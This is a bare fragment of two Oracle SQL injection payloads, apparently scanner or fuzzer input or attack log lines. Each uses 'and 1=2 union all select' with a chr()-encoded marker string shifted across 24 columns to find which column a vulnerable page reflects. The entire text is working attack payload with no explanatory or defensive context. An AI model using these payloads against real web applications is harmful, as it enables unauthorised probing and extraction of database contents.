s and 1=2 union all select chr(57)||chr(57)||chr(53)||chr(51)||chr(49),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
s and 1=2 union all select null,chr(57)||chr(57)||chr(53)||chr(51)||chr(49),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--